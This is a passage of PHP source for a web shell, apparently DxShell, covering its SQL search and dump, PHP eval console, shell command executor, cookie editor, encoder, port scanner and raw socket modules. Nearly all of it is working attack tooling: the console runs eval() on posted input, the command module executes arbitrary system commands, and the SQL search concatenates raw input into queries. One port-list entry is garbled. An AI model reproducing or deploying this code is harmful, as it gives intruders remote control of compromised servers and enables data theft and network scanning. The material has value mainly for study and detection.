1490 else $_POST['dxsqlsearch']['txt']=array($_POST['dxsqlsearch']['txt']);
1491
1492
1493 $GLOBALFOUND=0;
1494 foreach ($_POST['dxsqlsearch']['tables'] as $CUR_TABLE)
1495 { $Q='SELECT * FROM `'.$CUR_TABLE.'` WHERE ';
1496 $Q_ARR=array();
1497 DxMySQL_FetchResult(DxMySQLQ('SHOW COLUMNS FROM `'.$CUR_TABLE.'`;', true), $COLS, true); for ($i=0; $i<count($COLS);$i++) $COLS[$i]=$COLS[$i][0];
1498 foreach ($COLS as $CUR_COL)
1499 { if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'each', 'exact')))
1500 { for ($i=0;$i<count($_POST['dxsqlsearch']['txt']);$i++)
1501 $Q_ARR[]=$CUR_COL.' LIKE "%'.($_POST['dxsqlsearch']['txt'][$i]).'%"';
1502 }
1503 else $Q_ARR[]=$CUR_COL.' REGEXP '.$_POST['dxsqlsearch']['txt'][0];
1504
1505 if ($_POST['dxsqlsearch']['mode']=='each')
1506 { $Q_ARR_EXACT[]=implode(' AND ', $Q_ARR);
1507 $Q_ARR=array();
1508 }
1509 }
1510 if (in_array($_POST['dxsqlsearch']['mode'], array('any', 'exact'))) $Q.=implode(' OR ', $Q_ARR).';';
1511 if ($_POST['dxsqlsearch']['mode']=='each') $Q.=' ( '.implode(' ) OR ( ', $Q_ARR_EXACT).' );';
1512 if ($_POST['dxsqlsearch']['mode']=='regexp') $Q.=' ( '.implode(' ) OR ( ',$Q_ARR).' );';
1513
1514 /* $Q is ready */
1515
1516 if (($num=DxMySQL_FetchResult(DxMySQLQ($Q, true), $FETCHED, true))>0)
1517 {
1518 $GLOBALFOUND+=$num; print "\n\n".'<table border=0 cellspacing=0 cellpadding=0 align=center><caption>'.$num.' matched in '.$CUR_TABLE.' :</caption>';
1519 print "\n\t".'<tr><td class=listing><font class="highlight_txt">'.implode('</td><td class=listing><font class="highlight_txt">', $COLS).'</td></tr>';
1520 for ($l=0;$l<count($FETCHED);$l++)
1521 {
1522 print "\n\t".'<tr>';
1523 for ($i=0; $i<count($FETCHED[$l]); $i++) print '<td class="listing"> '.DxDecorVar($FETCHED[$l][$i], true).'</td>';
1524 print '</tr>';
1525 }
1526 print "\n".'</table><br>';
1527 }
1528 }
1529 print "\n".'<br>Total: '.$GLOBALFOUND.' matches';
1530
1531 print "\n".'</td></tr></table>';
1532 }
1533
1534########
1535######## SQL Dump
1536########
1537if ($_GET['dxmode']=='SQLD')
1538 { if (!isset($_GET['dxsql_s'], $_GET['dxsql_l'], $_GET['dxsql_p'], $_GET['dxsql_d'])) die(DxError('SQL server/login/password/database are not set'));
1539
1540 if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0))
1541 die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
1542 else print '>> MySQL connected!';
1543
1544 if (!mysql_select_db($_GET['dxsql_d']))
1545 die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()));
1546
1547 print "\n".'<table border=0 cellspacing=0 cellpadding=0><tr><td class=h2_oneline><h2>DB:</h2></td>';
1548 print "\n".'<td class=linelisting><font class=highlight_txt>'.((empty($_GET['dxsql_d']))?'<Server>':$_GET['dxsql_d']).'</font></td></tr></table>';
1549
1550 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1551 print "\n".'<table border=0 cellspacing=0 cellpadding=0 width=100%>';
1552 print "\n".'<tr><td width=1% class=h2_oneline style="vertical-align:top;">';
1553
1554 DxMySQL_FetchResult(DxMySQLQ('SHOW TABLES;', true), $TABLES, true);
1555 for ($i=0;$i<count($TABLES);$i++) $TABLES[$i]=$TABLES[$i][0];
1556 asort($TABLES);
1557
1558 print "\n\t".'<SELECT MULTIPLE name="dxsql_tables[]" SIZE=30>';
1559 for ($i=0;$i<count($TABLES);$i++)
1560 {
1561 DxMySQL_FetchResult(DxMySQLQ('SELECT COUNT(*) FROM `'.$TABLES[$i].'`;', true), $TRowCnt, true);
1562 if ($TRowCnt[0][0]>0)
1563 print "\n\t".'<OPTION value="'.$TABLES[$i].'" SELECTED>'.$TABLES[$i].'</OPTION>';
1564 }
1565 print "\n\t".'</SELECT>';
1566 print "\n".'</td><td width=100%>You can set a pre-dump-query(s) (ex: SET NAMES cp1251; ):';
1567 print "\n".'<input type=text name="dxsql_q" style="width:100%;">';
1568 print "\n".'<br>';
1569 print "\n".'<div align=right>'
1570 .'GZIP <input type=checkbox name="dx_gzip" value="Yeah, baby">'.str_repeat(' ', 10)
1571 .'<input type=submit value="Dump!" class=submit style="width:100pt;"></div>';
1572 print "\n".'</form>';
1573 }
1574
1575 ###################################
1576
1577########
1578######## PHP Console
1579########
1580if ($_GET['dxmode']=='PHP')
1581 {
1582 if (isset($_GET['dxval'])) $_POST['dxval']=$_GET['dxval'];
1583
1584 print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td class="linelisting">';
1585 $PRESETS=array_keys($GLOB['VAR']['PHP']['Presets']);
1586 for ($i=0; $i<count($PRESETS);$i++)
1587 print "\n\t".'<a href="'.DxURL('leave', 'dxmode').'&dxval=dxpreset__'.$PRESETS[$i].'" class=no>['.$PRESETS[$i].']</a>'
1588 .( ($i==(count($PRESETS)-1))?'':str_repeat(' ',3) );
1589 print "\n\n".'</td></tr></table><br><br>';
1590
1591 if (isset($_POST['dxval']))
1592 if (strpos($_POST['dxval'], 'dxpreset__')===0)
1593 { $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__'));
1594 if (!isset($GLOB['VAR']['PHP']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset'));
1595 $_POST['dxval']=$GLOB['VAR']['PHP']['Presets'][$_POST['dxval']];
1596 }
1597
1598 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1599 print "\n".'<textarea name="dxval" rows=15 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>';
1600 print "\n".'<div align=right><input type=submit value="Eval" class="submit" style="width:200pt;"></div>';
1601 print "\n".'</form>';
1602 if (isset($_POST['dxval']))
1603 { print str_repeat("\n", 10).'<!--php_eval-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n";
1604 eval($_POST['dxval']);
1605 print str_repeat("\n", 10).'<!--/php_eval-->'.'</td></tr></table>';
1606 }
1607 }
1608
1609 ###################################
1610
1611########
1612######## Cookies Maintenance
1613########
1614if ($_GET['dxmode']=='COOK')
1615 {
1616 if ($DXGLOBALSHIT) DxWarning('Set cookie may fail. This is because "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit =('); print 'Found <font class="highlight_txt">'.($CNT=count($_COOKIE)).' cookie'.(($CNT==1)?'':'s');
1617
1618 print "\n".'<div align=right><a href="'.DxURL('leave', '').'">[RELOAD]</a></div>';
1619
1620 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1621 print "\n".'<table border=0 align=center><tr><td class=linelisting><div align=center><font class="highlight_txt">Cookie name</td><td class=linelisting><div align=center><font class="highlight_txt">Value</td></tr>';
1622 for ($look_len=1, $maxlen=0; $look_len>=0;$look_len--)
1623 {
1624 if ($maxlen>100) $maxlen=100;
1625 if ($maxlen<30) $maxlen=30;
1626 $maxlen+=3;
1627 for ($INDEXES=array_keys($_COOKIE), $i=0;$i<count($INDEXES);$i++)
1628 {
1629 if ($look_len) {if (strlen($_COOKIE[ $INDEXES[$i] ])>$maxlen) {$maxlen=strlen($_COOKIE[ $INDEXES[$i] ]);} continue;}
1630 print "\n".'<tr><td class=linelisting>'.$INDEXES[$i].'</td>'
1631 .'<td class=linelisting><input type=text '
1632 .'name="dxparam['.str_replace(array('"', "\n", "\r", "\t"), array('"',' ',' ',' '), $INDEXES[$i]).']" '
1633 .'value="'.str_replace(array('"', "\n", "\r", "\t"), array('"',' ',' ',' '), $_COOKIE[ $INDEXES[$i] ]).'" '
1634 .'SIZE='.$maxlen.'></td>'
1635 .'</tr>';
1636 }
1637 if (!$look_len)
1638 {
1639 print "\n".'<tr><td colspan=2><div align=center>[Set new cookie]</td></tr>';
1640 print "\n".'<tr><td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][NAM]" value="" style="width:99%;"></td>'
1641 .'<td class=linelisting><input type=text name="dxparam[DXS_NEWCOOK][VAL]" value="" SIZE='.$maxlen.'></td>'
1642 .'</tr>'; print "\n".'<tr><td class=linelisting colspan=2 style="text-align:center;">'
1643 .'<input type=submit value="Save" class="submit" style="width:50%;">'
1644 .'</td></tr>';
1645 }
1646 }
1647 print "\n".'</table></form>';
1648 }
1649
1650 ###################################
1651
1652########
1653######## Command line
1654########
1655if ($_GET['dxmode']=='CMD')
1656 {
1657 print "\n".'<table border=0 align=right><tr><td class=h2_oneline>Do</td><td>';
1658 print "\n".'<SELECT name="selector" onchange="document.getElementById(\'dxval\').value+=document.getElementById(\'selector\').value+\'\n\'" style="width:200pt;">';
1659 print "\n\t".'<OPTION></OPTION>';
1660 $PRESETS=array_keys($GLOB['VAR']['CMD']['Presets']);
1661 for ($i=0; $i<count($PRESETS);$i++)
1662 print "\n\t".'<OPTION value="'.str_replace('"','"',$GLOB['VAR']['CMD']['Presets'][ $PRESETS[$i] ]).'">'.$PRESETS[$i].'</OPTION>';
1663 print "\n\n".'</SELECT></td></tr></table><br><br>';
1664
1665 if (isset($_POST['dxval']))
1666 if (strpos($_POST['dxval'], 'dxpreset__')===0)
1667 {
1668 $_POST['dxval']=substr($_POST['dxval'], strlen('dxpreset__'));
1669 if (!isset($GLOB['VAR']['CMD']['Presets'][$_POST['dxval']])) die(DxError('Undeclared preset'));
1670 $_POST['dxval']=$GLOB['VAR']['CMD']['Presets'][$_POST['dxval']];
1671 }
1672
1673 $warnstr=DxExecNahuj('',$trash1, $trash2);
1674 if (!$warnstr[1]) DxWarning($warnstr[2]); print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1675 print "\n".'<textarea name="dxval" rows=5 style="width:100%;">'.((isset($_POST['dxval']))?$_POST['dxval']:'').'</textarea>';
1676 print "\n".'<div align=right>'
1677 .'<input type=submit value="Exec" class="submit" style="width:100pt;"> '
1678 .'</div>';
1679 print "\n".'</form>';
1680 if (isset($_POST['dxval']))
1681 {
1682 $_POST['dxval']=split("\n", str_replace("\r", '', $_POST['dxval']));
1683 for ($i=0; $i<count($_POST['dxval']); $i++)
1684 {
1685 $CUR=$_POST['dxval'][$i];
1686 if (empty($CUR)) continue;
1687
1688 DxExecNahuj($CUR,$OUT, $RET);
1689 print str_repeat("\n", 10).'<!--'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'<table border=0 width=100%><tr><td class=listing>'."\n\n";
1690
1691 print '<span style="position:absolute;left:10%;" class="highlight_txt">Return</span>';
1692 print '<span style="position:absolute;right:30%;" class="highlight_txt">Output</span>';
1693 print '<br><nobr>';
1694 print "\n".'<textarea rows=10 style="width:20%;display:inline;">'.$CUR."\n\n".( (is_array($RET))?implode("\n", $RET):$RET).'</textarea>';
1695 print "\n".'<textarea rows=10 style="width:79%;display:inline;">'."\n".( (is_array($OUT))?implode("\n", $OUT):$OUT).'</textarea>';
1696 print '</nobr>';
1697 print str_repeat("\n", 10).'<!--/'.$warnstr[2].'("'.$CUR.'")-->'."\n\n".'</td></tr></table>';
1698 }
1699 }
1700 }
1701
1702 ###################################
1703
1704########
1705######## String functions
1706########
1707if ($_GET['dxmode']=='STR')
1708 {
1709 if (isset($_POST['dxval'], $_POST['dxparam']))
1710 { $crypted='';
1711 if ($_POST['dxparam']=='md5') $crypted.=md5($_POST['dxval']);
1712 if ($_POST['dxparam']=='sha1') $crypted.=sha1($_POST['dxval']);
1713 if ($_POST['dxparam']=='crc32') $crypted.=crc32($_POST['dxval']);
1714 if ($_POST['dxparam']=='2base') $crypted.=base64_encode($_POST['dxval']);
1715 if ($_POST['dxparam']=='base2') $crypted.=base64_decode($_POST['dxval']);
1716 if ($_POST['dxparam']=='2HEX') for ($i=0;$i<strlen($_POST['dxval']);$i++) $crypted.=strtoupper(dechex(ord($_POST['dxval'][$i]))).' ';
1717 if ($_POST['dxparam']=='HEX2') {$_POST['dxval']=str_replace(' ','',$_POST['dxval']); for ($i=0;$i<strlen($_POST['dxval']);$i+=2) $crypted.=chr(hexdec($_POST['dxval'][$i].$_POST['dxval'][$i+1]));}
1718 if ($_POST['dxparam']=='2DEC') {$crypted='CHAR('; for ($i=0;$i<strlen($_POST['dxval']); $i++) $crypted.=ord($_POST['dxval'][$i]).(($i<(strlen($_POST['dxval'])-1))?',':')');}
1719 if ($_POST['dxparam']=='2URL') $crypted.=urlencode($_POST['dxval']);
1720 if ($_POST['dxparam']=='URL2') $crypted.=urldecode($_POST['dxval']);
1721 }
1722 if (isset($crypted)) print $_POST['dxparam'].'(<font class="highlight_txt"> '.$_POST['dxval'].' </font>) = ';
1723 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1724 print "\n".'<textarea name="dxval" rows=20 style="width:100%;">'.((isset($crypted))?$crypted:'').'</textarea>';
1725 print "\n".'<div align=right>'
1726 .'<input type=submit name="dxparam" value="md5" class="submit" style="width:50pt;"> '
1727 .'<input type=submit name="dxparam" value="sha1" class="submit" style="width:50pt;"> '
1728 .'<input type=submit name="dxparam" value="crc32" class="submit" style="width:50pt;"> '.str_repeat(' ', 5)
1729 .'<input type=submit name="dxparam" value="2base" class="submit" style="width:50pt;"> '
1730 .'<input type=submit name="dxparam" value="base2" class="submit" style="width:50pt;"> '
1731 .'<input type=submit name="dxparam" value="2HEX" class="submit" style="width:50pt;"> '
1732 .'<input type=submit name="dxparam" value="HEX2" class="submit" style="width:50pt;"> '
1733 .'<input type=submit name="dxparam" value="2DEC" class="submit" style="width:50pt;"> '
1734 .'<input type=submit name="dxparam" value="2URL" class="submit" style="width:50pt;"> '
1735 .'<input type=submit name="dxparam" value="URL2" class="submit" style="width:50pt;"> '
1736 .'</div>';
1737 print "\n".'</form>';
1738 }
1739
1740########
1741######## Port scaner
1742########
1743if ($_GET['dxmode']=='PRT')
1744 {
1745 print '[!] For complete portlist go to <a href="http://www.iana.org/assignments/port-numbers" target=_blank>http://www.iana.org/assignments/port-numbers</a>'; if (isset($_POST['dxportscan']) or isset($_GET['dxparam']))
1746 $DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Utility',3=>'Compression Process',5=>'rje (Remote Job Entry)',7=>'echo',9=>'discard',11=>'systat',13=>'daytime',15=>'netstat',17=>'quote of the day',18=>'send/rwp',19=>'character generator',20=>'ftp-data',21=>'ftp',22=>'ssh, pcAnywhere',23=>'Telnet',25=>'SMTP (Simple Mail Transfer)',27=>'ETRN (NSW User System FE)',29=>'MSG ICP',31=>'MSG Authentication',33=>'dsp (Display Support Protocol)',37=>'time',38=>'RAP (Route Access Protocol)',39=>'rlp (Resource Location Protocol)',41=>'Graphics',42=>'nameserv, WINS',43=>'whois, nickname',44=>'MPM FLAGS Protocol',45=>'Message Processing Module [recv]',46=>'MPM [default send]',47=>'NI FTP',48=>'Digital Audit Daemon',49=>'TACACS, Login Host Protocol',50=>'RMCP, re-mail-ck',53=>'DNS',57=>'MTP (any private terminal access)',59=>'NFILE',60=>'Unassigned',61=>'NI MAIL',62=>'ACA Services',63=>'whois++',64=>'Communications Integrator (CI)',65=>'TACACS-Database Service',66=>'Oracle SQL*NET',67=>'bootps (Bootstrap Protocol Server)',68=>'bootpd/dhcp (Bootstrap Protocol Client)',69=>'Trivial File Transfer Protocol (tftp)',70=>'Gopher',71=>'Remote Job Service',72=>'Remote Job Service',73=>'Remote Job Service',74=>'Remote Job Service',75=>'any private dial out service',76=>'Distributed External Object Store',77=>'any private RJE service',78=>'vettcp',79=>'finger',80=>'World Wide Web HTTP',81=>'HOSTS2 Name Serve',82=>'XFER Utility',83=>'MIT ML Device',84=>'Common Trace Facility',85=>'MIT ML Device',86=>'Micro Focus Cobol',87=>'any private terminal link',88=>'Kerberos, WWW',89=>'SU/MIT Telnet Gateway',90=>'DNSIX Securit Attribute Token Map',91=>'MIT Dover Spooler',92=>'Network Printing Protocol',93=>'Device Control Protocol',94=>'Tivoli Object Dispatcher',95=>'supdup',96=>'DIXIE',98=>'linuxconf',99=>'Metagram Relay',100=>'[unauthorized use]',101=>'HOSTNAME',102=>'ISO, X.400, ITOT',103=>'Genesis Point-to㝀ƭoi T��ns��et',104=>'ACR-NEMA Digital Imag. & Comm. 300',105=>'CCSO name server protocol',106=>'poppassd',107=>'Remote Telnet Service',108=>'SNA Gateway Access Server',109=>'POP2',110=>'POP3',111=>'Sun RPC Portmapper',112=>'McIDAS Data Transmission Protocol',113=>'Authentication Service',115=>'sftp (Simple File Transfer Protocol)',116=>'ANSA REX Notify',117=>'UUCP Path Service',118=>'SQL Services',119=>'NNTP',120=>'CFDP',123=>'NTP',124=>'SecureID',129=>'PWDGEN',133=>'statsrv',135=>'loc-srv/epmap',137=>'netbios-ns',138=>'netbios-dgm (UDP)',139=>'NetBIOS',143=>'IMAP',144=>'NewS',150=>'SQL-NET',152=>'BFTP',153=>'SGMP',156=>'SQL Service',161=>'SNMP',175=>'vmnet',177=>'XDMCP',178=>'NextStep Window Server',179=>'BGP',180=>'SLmail admin',199=>'smux',210=>'Z39.50',213=>'IPX',218=>'MPP',220=>'IMAP3',256=>'RAP',257=>'Secure Electronic Transaction',258=>'Yak Winsock Personal Chat',259=>'ESRO',264=>'FW1_topo',311=>'Apple WebAdmin',350=>'MATIP type A',351=>'MATIP type B',363=>'RSVP tunnel',366=>'ODMR (On-Demand Mail Relay)',371=>'Clearcase',387=>'AURP (AppleTalk Update-Based Routing Protocol)',389=>'LDAP',407=>'Timbuktu',427=>'Server Location',434=>'Mobile IP',443=>'ssl',444=>'snpp, Simple Network Paging Protocol',445=>'SMB',458=>'QuickTime TV/Conferencing',468=>'Photuris',475=>'tcpnethaspsrv',500=>'ISAKMP, pluto',511=>'mynet-as',512=>'biff, rexec',513=>'who, rlogin',514=>'syslog, rsh',515=>'lp, lpr, line printer',517=>'talk',520=>'RIP (Routing Information Protocol)',521=>'RIPng',522=>'ULS',531=>'IRC',543=>'KLogin, AppleShare over IP',545=>'QuickTime',548=>'AFP',554=>'Real Time Streaming Protocol',555=>'phAse Zero',563=>'NNTP over SSL',575=>'VEMMI',581=>'Bundle Discovery Protocol',593=>'MS-RPC',608=>'SIFT/UFT',626=>'Apple ASIA',631=>'IPP (Internet Printing Protocol)',635=>'RLZ DBase',636=>'sldap',642=>'EMSD',648=>'RRP (NSI Registry Registrar Protocol)',655=>'tinc',660=>'Apple MacOS Server Admin',666=>'Doom',674=>'ACAP',687=>'AppleShare IP Registry',700=>'buddyphone',705=>'AgentX for SNMP',901=>'swat, realsecure',993=>'s-imap',995=>'s-pop',1024=>'Reserved',1025=>'network blackjack',1062=>'Veracity',1080=>'SOCKS',1085=>'WebObjects',1227=>'DNS2Go',1243=>'SubSeven',1338=>'Millennium Worm',1352=>'Lotus Notes',1381=>'Apple Network License Manager',1417=>'Timbuktu Service 1 Port',1418=>'Timbuktu Service 2 Port',1419=>'Timbuktu Service 3 Port',1420=>'Timbuktu Service 4 Port',1433=>'Microsoft SQL Server',1434=>'Microsoft SQL Monitor',1477=>'ms-sna-server',1478=>'ms-sna-base',1490=>'insitu-conf',1494=>'Citrix ICA Protocol',1498=>'Watcom-SQL',1500=>'VLSI License Manager',1503=>'T.120',1521=>'Oracle SQL',1522=>'Ricardo North America License Manager',1524=>'ingres',1525=>'prospero',1526=>'prospero',1527=>'tlisrv',1529=>'oracle',1547=>'laplink',1604=>'Citrix ICA, MS Terminal Server',1645=>'RADIUS Authentication',1646=>'RADIUS Accounting',1680=>'Carbon Copy',1701=>'L2TP/LSF',1717=>'Convoy',1720=>'H.323/Q.931',1723=>'PPTP control port',1731=>'MSICCP',1755=>'Windows Media .asf',1758=>'TFTP multicast',1761=>'cft-0',1762=>'cft-1',1763=>'cft-2',1764=>'cft-3',1765=>'cft-4',1766=>'cft-5',1767=>'cft-6',1808=>'Oracle-VP2',1812=>'RADIUS server',1813=>'RADIUS accounting',1818=>'ETFTP',1973=>'DLSw DCAP/DRAP',1985=>'HSRP',1999=>'Cisco AUTH',2001=>'glimpse',2049=>'NFS',2064=>'distributed.net',2065=>'DLSw',2066=>'DLSw',2106=>'MZAP',2140=>'DeepThroat',2301=>'Compaq Insight Management Web Agents',2327=>'Netscape Conference',2336=>'Apple UG Control',2427=>'MGCP gateway',2504=>'WLBS',2535=>'MADCAP',2543=>'sip',2592=>'netrek',2727=>'MGCP call agent',2628=>'DICT',2998=>'ISS Real Secure Console Service Port',3000=>'Firstclass',3001=>'Redwood Broker',3031=>'Apple AgentVU',3128=>'squid',3130=>'ICP',3150=>'DeepThroat',3264=>'ccmail',3283=>'Apple NetAssitant',3288=>'COPS',3305=>'ODETTE',3306=>'mySQL',3389=>'RDP Protocol (Terminal Server)',3521=>'netrek',4000=>'icq, command-n-conquer and shell nfm',4321=>'rwhois',4333=>'mSQL',4444=>'KRB524',4827=>'HTCP',5002=>'radio free ethernet',5004=>'RTP',5005=>'RTP',5010=>'Yahoo! Messenger',5050=>'multimedia conference control tool',5060=>'SIP',5150=>'Ascend Tunnel Management Protocol',5190=>'AIM',5500=>'securid',5501=>'securidprop',5423=>'Apple VirtualUser',5555=>'Personal Agent',5631=>'PCAnywhere data',5632=>'PCAnywhere',5678=>'Remote Replication Agent Connection',5800=>'VNC',5801=>'VNC',5900=>'VNC',5901=>'VNC',6000=>'X Windows',6112=>'BattleNet',6502=>'Netscape Conference',6667=>'IRC',6670=>'VocalTec Internet Phone, DeepThroat',6699=>'napster',6776=>'Sub7',6970=>'RTP',7007=>'MSBD, Windows Media encoder',7070=>'RealServer/QuickTime',7777=>'cbt',7778=>'Unreal',7648=>'CU-SeeMe',7649=>'CU-SeeMe',8000=>'iRDMI/Shoutcast Server',8010=>'WinGate 2.1',8080=>'HTTP',8181=>'HTTP',8383=>'IMail WWW',8875=>'napster',8888=>'napster',8889=>'Desktop Data TCP 1',8890=>'Desktop Data TCP 2',8891=>'Desktop Data TCP 3: NESS application',8892=>'Desktop Data TCP 4: FARM product',8893=>'Desktop Data TCP 5: NewsEDGE/Web application',8894=>'Desktop Data TCP 6: COAL application',9000=>'CSlistener',10008=>'cheese worm',11371=>'PGP 5 Keyserver',13223=>'PowWow',13224=>'PowWow',14237=>'Palm',14238=>'Palm',18888=>'LiquidAudio',21157=>'Activision',22555=>'Vocaltec Web Conference',23213=>'PowWow',23214=>'PowWow',23456=>'EvilFTP',26000=>'Quake',27001=>'QuakeWorld',27010=>'Half-Life',27015=>'Half-Life',27960=>'QuakeIII',30029=>'AOL Admin',31337=>'Back Orifice',32777=>'rpc.walld',45000=>'Cisco NetRanger postofficed',32773=>'rpc bserverd',32776=>'rpc.spray',32779=>'rpc.cmsd',38036=>'timestep',40193=>'Novell',41524=>'arcserve discovery',);
1747
1748 if (isset($_GET['dxparam']))
1749 { print "\n".'<table><tr><td class=listing colspan=2><h2>#Scan main will scan these '.count($DEF_PORTS).' ports:</td></tr>';
1750 $INDEXES=array_keys($DEF_PORTS);
1751 for ($i=0;$i<count($INDEXES);$i++)
1752 print "\n".'<tr><td width=40 class=listing style="text-align:right;">'.$INDEXES[$i].'</td><td class=listing>'.$DEF_PORTS[ $INDEXES[$i] ].'</td></tr>';
1753 print "\n".'</table>';
1754 die();
1755 }
1756
1757 if (isset($_POST['dxportscan']))
1758 { $OKAY_PORTS = 0;
1759 $TOSCAN=array();
1760
1761 if ($_POST['dxportscan']['ports']=='#default') $TOSCAN=array_keys($DEF_PORTS);
1762 else
1763 { $_POST['dxportscan']['ports']=explode(',',$_POST['dxportscan']['ports']);
1764 for ($i=0;$i<count($_POST['dxportscan']['ports']);$i++)
1765 { $_POST['dxportscan']['ports'][$i]=explode('-',$_POST['dxportscan']['ports'][$i]);
1766 if (count($_POST['dxportscan']['ports'][$i])==1) $TOSCAN[]=$_POST['dxportscan']['ports'][$i][0];
1767 else
1768 $TOSCAN+=range($_POST['dxportscan']['ports'][$i][0], $_POST['dxportscan']['ports'][$i][1]);
1769 $_POST['dxportscan']['ports'][$i]=implode('-', $_POST['dxportscan']['ports'][$i]);
1770 }
1771 $_POST['dxportscan']['ports']=implode(',',$_POST['dxportscan']['ports']);
1772 }
1773
1774 print "\n".'<table><tr><td colspan=2><font class="highlight_txt">Opened ports:</td></tr>';
1775 list($usec, $sec) = explode(' ', microtime());
1776 $start=(float)$usec + (float)$sec;
1777 for ($i=0;$i<count($TOSCAN);$i++)
1778 { $cur_port=&$TOSCAN[$i];
1779 $fp=@fsockopen($_POST['dxportscan']['host'], $cur_port, $e, $e, (float)$_POST['dxportscan']['timeout']);
1780 if ($fp)
1781 { $OKAY_PORTS++;
1782 $port_name='';
1783 if (isset($DEF_PORTS[$cur_port])) $port_name=$DEF_PORTS[$cur_port];
1784 print "\n".'<tr><td width=50 class=listing style="text-align:right;">'.$cur_port.'</td><td class=listing>'.$port_name.'</td><td class=listing>'.getservbyport($cur_port, 'tcp').'</td></tr>';
1785 }
1786 }
1787 list($usec, $sec) = explode(' ', microtime());
1788 $end=(float)$usec + (float)$sec;
1789
1790 print "\n".'</table>';
1791 print "\n".'<font class="highlight_txt">Scanned '.count($TOSCAN).', '.$OKAY_PORTS.' opened. Time: '.($end-$start).'</font>';
1792 print "\n".'<br><hr>'."\n";
1793 }
1794
1795 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>';
1796 print "\n".'<table border=0>'
1797 .'<tr>'
1798 .'<td colspan=2>'
1799 .'<input type=text name="dxportscan[host]" value="'.((isset($_POST['dxportscan']['host']))?$_POST['dxportscan']['host'].'"':'127.0.0.1"').' SIZE=30>'
1800 .'<input type=text name="dxportscan[timeout]" value="'.((isset($_POST['dxportscan']['timeout']))?$_POST['dxportscan']['timeout'].'"':'0.1"').' SIZE=10>'
1801 .'</tr><tr>'
1802 .'<td><textarea name="dxportscan[ports]" rows=3 cols=50>'.((isset($_POST['dxportscan']['ports']))?$_POST['dxportscan']['ports']:'21-25,35,80,3306').'</textarea>'
1803 .'</td><td>'
1804 .'<input type=checkbox name="dxportscan[ports]" value="#default"><a '.DxDesign_DrawBubbleBox('', 'To learn out what "main ports" are, click here', 300).' href="'.DxURL('kill','dxparam').'&dxparam=main_legend">#Scan main</a>'
1805 .'<br><input type=submit value="Scan" class="submit" style="width:100pt;">'
1806 .'</tr></table></form>';
1807 }
1808
1809########
1810######## Raw s0cket
1811########
1812if ($_GET['dxmode']=='SOCK')
1813 {
1814 $DEFQUERY=DxHTTPMakeHeaders('GET', '/index.php?get=q&get2=d', 'www.microsoft.com', 'DxS Browser', 'http://referer.com/', array('post_val' => 'Yeap'), array('cookiename' => 'val'));
1815 print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table width=100% cellspacing=0 celpadding=0>';
1816 print "\n".'<tr><td class=linelisting colspan=2 width=100%><input type=text name="dxsock_host" value="'.( (isset($_POST['dxsock_host'])?$_POST['dxsock_host']:'www.microsoft.com') ).'" style="width:100%;">';
1817 print "\n".'</td><td class=linelisting><nobr><input type=text name="dxsock_port" value="'.( (isset($_POST['dxsock_port'])?$_POST['dxsock_port']:'80') ).'" SIZE=10>'
1818 .' timeout <input type=text name="dxsock_timeout" value="'.( (isset($_POST['dxsock_timeout'])?$_POST['dxsock_timeout']:'1.0') ).'" SIZE=4></td></tr>';
1819 print "\n".'<tr><td class=linelisting colspan=3>'
1820 .'<textarea ROWS=15 name="dxsock_request" style="width:100%;">'.( (isset($_POST['dxsock_request'])?$_POST['dxsock_request']:$DEFQUERY) ).'</textarea>'
1821 .'</td></tr>';
1822 print "\n".'<tr>'
1823 .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="HTML" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='HTML')?'CHECKED':'') :'CHECKED') ).'>HTML</td>'
1824 .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="TEXT" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='TEXT')?'CHECKED':'') :'') ).'>TEXT</td>'
1825 .'<td class=linelisting width=100%><div align=right><input type=submit class=submit value="Send" style="width:100pt;height:20pt;"></td>'
1826 .'</tr>';
1827 print "\n".'</table>';
1828
1829 if (!isset($_POST['dxsock_host'], $_POST['dxsock_port'], $_POST['dxsock_timeout'], $_POST['dxsock_request'], $_POST['dxsock_type'])) die();
1830
1831 print "\n".'<table width=100% cellspacing=0 celpadding=0>';
1832 print "\n".'<tr><td class=listing><pre><font class=highlight_txt>'.$_POST['dxsock_request'].'</font></pre></td></tr>';
1833 print "\n\n\n".'<tr><td class=listing>';
1834
1835 $fp=@fsockopen($_POST['dxsock_host'], $_POST['dxsock_port'], $errno, $errstr, (float)$_POST['dxsock_timeout']);
1836 if (!$fp) die(DxError('Sock #'.$errno.' : '.$errstr));
1837
1838 if ($_POST['dxsock_type']=='TEXT') print '<plaintext>';
1839
1840 if (!empty($_POST['dxsock_request'])) fputs($fp, $_POST['dxsock_request']);
1841 $ret='';
1842 while (!feof($fp)) $ret.=fgets($fp, 4096 );
1843 fclose( $fp );
1844
1845 if ($_POST['dxsock_type']=='HTML') $headers_over_place=strpos($ret,"\r\n\r\n"); else $headers_over_place=FALSE;
1846
1847 if ($headers_over_place===FALSE) print $ret;
1848 else print '<pre>'.substr($ret, 0, $headers_over_place).'</pre><br><hr><br>'.substr($ret, $headers_over_place);
1849
1850 if ($_POST['dxsock_type']=='HTML') print "\n".'</td></tr></table>';
1851 }
1852
1853########
1854######## FTP, HTTP file transfers
